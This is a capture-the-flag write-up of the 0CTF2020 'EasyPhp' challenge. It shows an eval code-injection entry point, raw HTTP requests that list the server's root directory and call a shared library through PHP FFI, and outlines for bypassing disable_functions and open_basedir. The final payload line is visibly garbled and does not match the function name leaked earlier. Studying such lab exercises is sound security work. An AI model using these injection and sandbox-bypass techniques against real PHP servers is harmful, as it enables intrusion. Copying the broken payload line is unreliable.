0ctf2020-EasyPhp

Recently, I got opportunity to participate in 0CTF2020 Quals. This Post is about Challenge Easyphp
.
Recon >
First things first, Always Recon the chall. So, on visiting the Provided URL http://pwnable.org:19260/ for the challenge, We get this piece of php code
1
2
3
4
5
6
7
<?php
if (isset($_GET['rh'])) {
eval($_GET['rh']);
} else {
show_source(__FILE__);
}
?>
Now, On looking at the source code, It immediately clicked that there is some sort of Code Injection using parameter rh
. On trying commands like system, exec, popen
, We didn’t get anything executed.So, we must have to get our hands on the internals.
Now, we check the settings of back-end php application, For that we have to take a look at phpinfo();
. On Using phpinfo(); as param in var rh,
http://pwnable.org:19260/rh=phpinfo();
We get to know that dangerous functions that we tried to use before were disabled, Have a look at disabled_functions
1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,d
Hmm! So, We need to find some other ways. Doing a bit of research and reading writeups , we get know a lot about php exploits. Let’s discuss various strategies we thought to exploit it.
Strategy >
Following exploits came up :
PHP-FPM
Bypass open_basedir()
FFI
glob + DirectoryIterator :
This is not the exploit
Now, I’ll explain a bit of above and unintended solutions that came during CTF in the later section Conclusion
, Let’s first discuss how I solved this challenge.
Exploit >
We first glob + DirectoryIerator to literally scan the whole server, After doing this, we found interesting things in /
Directory with this POST
request:
1
2
3
4
5
6
7
8
9
10
POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
gml=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
1
bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var
Cool!. So ,we find our targets flag.h
and flag,so
. flag.so
is Dynamically Linked Shared Object and is most probably used by flag.h
. So, we need to figure out the function called by flag.h
.Now, to exploit further I used the evil functionality FFI
which was enabled on server as per phpinfo(). For more information about this, visit Official Php Docs.
Now, We use FFI
to call the method in flag.so
.So, use FFI
to load flag.h
. Let’s try with this POST
request:
1
2
3
4
5
6
7
8
9
10
POST /?rh=%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%67%6d%6c%5d%29%3b HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
gml=$ffi = FFI::load("/flag.h");echo 1;
We don’t get a 500, indicates that loading through FFI
works and it’s successfully loaded. But we don’t know what method there is, what the method name is, and can’t read flag.h, this is the point wher e I got stuck.
But reading more about FFI exploits, reveal that we can leak memory to know the method name and then call it to get the flag
. I really not noted down, from where I got the script to leak method, Shame on me. But this guy also published writeup for this same challenge and described the process of leaking memory. He has also published writeups for other challenges. So, do checkout. Link to the Writeup.Now ,we have the method to be called flag_fUn3t1on_fFi();
.
Now,just post this request to get the flag :
1
gml=$ffi = FFI : : load( " / flag. h" ) ; : : string($ffi->f1ag_fUn3t10n_fF1()));
We get our flag as response :
1
2
3
4
5
6
7
8
9
HTTP/I.1 200 0K
Server: nginx
Date: Mon, 29 Jun 2020 11:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.5
Content-Length: 42
string(27) "flag{FFi_1s_qu1T3_DANg10uS}"
Hurray! We got the flag flag{FFi_1s_qu1T3_DANg10uS}
Conclusion >
The intended solutions of this challenge were :
PHP-FPM
FFI
We done this through FFI, but we can also do this through php-Fastcgi/php-fpm
. You can read more about PHP-FPM
here. The way to exploit via fast-cgi
is to first find the sock file to connect .i.e /var/run/php-fpm.sock
using glob+DirectoryIterator
. Now, You can forge fastcgi
to bypass some security policies like open_basedir
by using PHP_VALUE
to change global php settings like open_basedir
. In our case, primary target is to open-basedir
so that we can read files in root folder. For Script and more info, Visit. I have added file containing all the recon data here.
Unintended solutions : As the organizers had setup this challenge in a shared php environment. So, if someone modifies
open_basedir
restriction from/var/www/html
to/
. Then, It gets modified for all participants and hence, anybody can directly usefile_get_contents
to getflag.so
where the flag is in plain-text.
Learning >
Other Exploits :
LD_PRELOAD
ifputenv
is not disabled, can be used to exploit the server.
ini_set
if not disabled, can be used to changeopen_basedir
and read contents from any directory, here, root/
directory.
ImageMagick
,a php image library if used and enabled, can also be used to bypassopen_basedir
restriction.
Feedback >
Thanks for reading and visiting my blog. Please don’t mind by bad English or grammatical errors. Please do comments if You find it interesting or something went wrong!. I read all the comments. Thanks Again! Have a good Day!